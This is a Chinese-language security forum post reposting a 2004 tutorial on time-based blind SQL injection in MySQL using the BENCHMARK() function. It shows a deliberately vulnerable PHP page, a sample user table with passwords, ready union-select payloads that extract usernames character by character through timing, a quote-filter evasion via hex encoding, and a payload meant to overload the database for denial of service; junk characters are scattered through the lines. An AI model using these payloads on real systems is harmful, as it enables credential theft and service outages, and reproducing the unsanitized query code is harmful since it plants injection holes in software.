找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2137|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
( m9 a( q9 D3 T" Q  D$ ?本文作者:SuperHei* K3 N. v' ]2 i7 ^! i
文章性质:原创
/ h, {6 w& H3 l4 T" h/ G发布日期:2005-01-023 q( h, F+ g4 p" T# J" W
完成日期:2004-07-09
+ x% l# V* v0 E1 c- J, h第一部& h" X1 H- g: B! v* e

! m9 _# c. x) V4 }; [利用时间推延进行注射---BENCHMARK函数在注射中的利用
" Y8 F4 M4 l# w
1 Y! v- e8 W; K3 y一.前言/思路
/ r' a" _3 }. L! ^* k% ^* m5 B
+ P$ i! M) m( J- K  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。' I! {- t1 S  D; o0 t

6 d/ N% Y! R' Y7 H  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
* {4 n6 U7 j* S, H: ]- l4 m' o! e, x4 ~1 O
二.关于BENCHMARK函数
# P9 O& Z+ k8 b6 C
& }8 f6 J1 I7 ?4 o, l( S" |  在MySQL参考手册里可以看到如下描叙: - ^+ i* V2 n/ }; s- {2 I1 R6 c
8 r+ o. I3 B9 M5 A- U1 Q8 D

, H3 @9 I# l. [--------------------------------------------------------------------------------0 d8 `, s4 P9 h8 y: F
3 T. C- i7 f' P! Y7 h
BENCHMARK(count,expr)
4 I) v+ l$ X5 Y3 mBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 ( K9 W2 H! {; t$ }. D% a
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); ( D6 x( v- m9 l
+----------------------------------------------+
1 Z/ o8 k2 K8 \/ K+ F/ ~" c2 J0 w1 t& R| BENCHMARK(1000000,encode("hello","goodbye")) |   n7 J) U6 D- A5 G' e$ y
+----------------------------------------------+ 7 @; l! W% @$ z
| 0 | , k" s+ i3 m. [* p
+----------------------------------------------+
8 J1 C+ T7 q: o: ]9 }7 W1 row in set (4.74 sec) 4 s6 ?8 A' E/ t
3 \; @) T6 e+ f! F
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。2 A0 q$ q" j) F  `; t
" c& c( S$ e2 z! z+ |6 ^

4 \& P1 }( e* S2 K--------------------------------------------------------------------------------' q7 I$ L$ R5 V* Q/ i& j: J
% J. `7 G6 @  A( D" Y, g" o& J
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: $ a* V) R( Z; z
! U7 X4 J* V4 v: ]  y0 W
mysql> select md5( 'test' ); 0 @, O6 H3 ~( Z* a: H! k5 `0 {# Y
+----------------------------------+
5 n5 z  _; W4 P' F- f| md5( 'test' ) |
9 K% q% c) C$ L" [3 v9 G5 X+----------------------------------+
2 J2 Z; c7 B$ j( \2 m5 T" R- D2 |( L| 098f6bcd4621d373cade4e832627b4f6 |
- w- Q) B& t( K+----------------------------------+
6 C" q* z) J5 }4 K3 N" |+ k1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
3 w; p7 M# ?1 s5 X' _& w# G% s1 K4 B6 o
mysql> select benchmark( 500000, md5( 'test' ) ); # E# D- s7 W0 s  @
+------------------------------------+ & O0 [5 J: H: _2 n2 a' ?
| benchmark( 500000, md5( 'test' ) ) |
7 [6 z/ E1 a8 E3 q+ ^8 p, @: U/ {+------------------------------------+ 3 Y0 A& y+ w. `6 L8 B" A' J
| 0 | ! `0 \8 M  Q. x+ r7 n& S# b5 E
+------------------------------------+
8 ]3 j- O& K/ N% Q7 N1 row in set (6.55 sec) 〈------------执行时间为6.55 sec* n( S0 k/ F( t+ ~: U- `5 v, C4 N. _

6 H  M" t4 s& M) K1 i/ }9 ]
  a1 b! Z* ^# r' G& o) \  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 ' H* F. @( Q+ q; [# M. E/ A: r4 Q
3 Y: e9 f: P  m- n! w
三.具体例子  \3 F" @0 ^8 M: M' _8 s7 l8 b/ c
5 K5 w0 h2 E) z; B: ]0 h6 M
  首先我们看个简单的php代码:
, g1 @; {; |3 I, }! C. X' r( k9 S, h9 F  O
< ?php 5 f/ [* i& j5 E5 U
$servername = "localhost"; * K. c6 V, a- `# B2 A
$dbusername = "root"; 0 i0 y1 n, `: X, C2 ^1 r
$dbpassword = ""; ! F" M: `/ l  V& G9 \; M
$dbname = "injection"; % g9 \9 r, K4 |( u0 e  c
4 T. Y6 L0 V+ H, s( c* Q- @) r) h
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
; `9 L+ N" u3 e+ W' \. _; A# r5 I- z/ ^9 n6 _# W$ [2 V  X% a
$sql = "SELECT * FROM article WHERE articleid=$id"; 3 \" ?7 j7 C( y# @6 c% {3 o
$result = mysql_db_query($dbname,$sql);
$ q, b9 S% @  r% y/ J/ z$row = mysql_fetch_array($result); % c3 l& q3 N/ ?+ ]# L
  A5 N1 q: Y$ z' U  k" x" l
if (!$row) : J  t- ?: @" e% ?+ h8 X
{
3 J- `7 {$ c2 ?$ t) W7 `) Gexit;
+ ?7 G3 Z2 |! F+ y* Q7 r$ f" f( C, m} - h& ]& c4 X) [% n7 c- V
?>
  u/ u$ \$ N2 Y: F4 N. e
- x' W) L& A/ a3 Y
* n0 v( e8 K0 N  N! k: ~  数据库injection结构和内容如下:
/ ], n2 {3 }, S) L9 \/ q) ?) d$ U3 a- V5 i2 X
# 数据库 : `injection`
+ W: E. c1 E) {' `# * g( v  I! @! q
4 w# o% n2 W" U8 v4 O  n
# --------------------------------------------------------
' i- n0 j  n- D0 d& w
1 ?- T6 K/ G0 \& I0 Y4 o7 o3 u#
$ f  D: |3 h; r8 O8 H0 ~# 表的结构 `article` * e3 n, e6 G/ k2 W; `4 I
#
$ ]3 p( U8 Q% J0 @, e2 G. w: l; }2 D! D1 v, q0 j! Y
CREATE TABLE `article` (
7 p7 M* Q7 X$ P( l2 z`articleid` int(11) NOT NULL auto_increment, 5 _( T4 \) X0 g$ d& k
`title` varchar(100) NOT NULL default '', 2 c4 B, R- H% W/ W7 I# ~: W) j
`content` text NOT NULL, 6 M6 A* v& W2 a$ v) d
PRIMARY KEY (`articleid`) & L* P4 D7 C. V
) TYPE=MyISAM AUTO_INCREMENT=3 ; ; Z( v# P; u0 N. {1 J8 i
  I1 T* I, T5 J: C0 t$ w/ c
#   J: p2 m' v2 r" q% F
# 导出表中的数据 `article` 5 `9 e5 B' `% P8 q* L) d/ W
#
( B) M  x4 i+ G- C1 n- P9 h
9 ?9 B! D* x' z* D3 G( `INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 9 R& G7 m; I" R! x* D
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
7 _5 Z: n6 c' |0 K
+ e8 p; G( ?' H+ D" u9 r' K; c# --------------------------------------------------------
# `* q3 P# s- F0 z/ g3 X( v6 y7 _4 q. D0 V( `8 R: u5 L
#
6 U" b: u" G' g# J& L! Y* o# 表的结构 `user` 5 M  k) P! S1 f9 P
#
1 M' M( j$ C, Y& J/ i1 H' K7 C% |% _0 |$ k' {/ V/ [
CREATE TABLE `user` ( # T7 \3 I' J% N
`userid` int(11) NOT NULL auto_increment, ( F' e  \: {2 ^0 i, H
`username` varchar(20) NOT NULL default '', , w' q* N0 X' i& I' f7 }# t
`password` varchar(20) NOT NULL default '',
. B% R# f/ W5 x# WPRIMARY KEY (`userid`) ; f; g  ^8 F! f4 D. R$ o- g6 s
) TYPE=MyISAM AUTO_INCREMENT=3 ;   V# n5 Z. ?3 C9 m: i
6 g1 W# ]* N# j* \3 ^7 x7 g
# + Q3 @) q  V9 w! w" l9 C  L3 R
# 导出表中的数据 `user`
+ R" [! J, Z4 i4 G- A% \# 4 V  R& J7 x( U: {% |7 Q- W

" S( ^' R( A- oINSERT INTO `user` VALUES (1, 'angel', 'mypass');
4 n& x1 z. J( D# B* k9 oINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
1 A- K6 C: X; `3 O- l* _" m 3 j2 _# R4 p7 `* I' P

  P, L- N3 m3 |3 A  N9 g0 e8 H; B! `  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
: L4 n. b( x. c: `, j( F/ Q/ v6 [/ v8 q) n( G/ f
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
: b6 i6 K% h: y / n* U. F" A8 L/ k: Q% R, _
% ]4 \6 }; [4 k3 t3 t' L5 L
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:% O$ @1 N0 m3 o  h1 _$ P
% o8 }8 n3 K) D3 s" t: H
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
6 S: z' g/ J: u3 O* b0 I 8 `& B! D  z- Y2 a1 w( R, c

; |& \3 ]; A  E6 g0 |  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 0 |& g" A, V: E& x) s

+ L' u( ^( Z7 Q6 J  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。   k3 }. A. O6 J- m2 [  x3 E) G' ?

0 w0 N# `2 Z, l$ c0 Z第二部! R: b% ^/ k7 ?- X! g8 C& h% y; r

+ R3 Z+ _) N. ^/ v* Z利用BENCHMARK函数进行ddos攻击 + {, J/ O$ m7 |3 S5 h

- N& G0 s4 J, }  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
/ s) V; \, |) w8 t: P  B& L
7 F0 h$ F5 O2 r9 [http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))  x) v% S6 k& B, M% l( P/ y2 W$ e

% m# n+ b+ e5 \) C6 r3 S0 x( T
" c/ c/ [" w; f# c+ p. D. B$ R) ^小结; k, \8 D) p8 i

8 x0 T; {0 U' G* N: l  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。8 V3 s3 ]5 o2 t. s& @

4 O6 |' t9 h7 W0 F0 u! ^5 ^6 p8 P8 h; A  
9 q- N) R& G, s4 E$ J$ I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表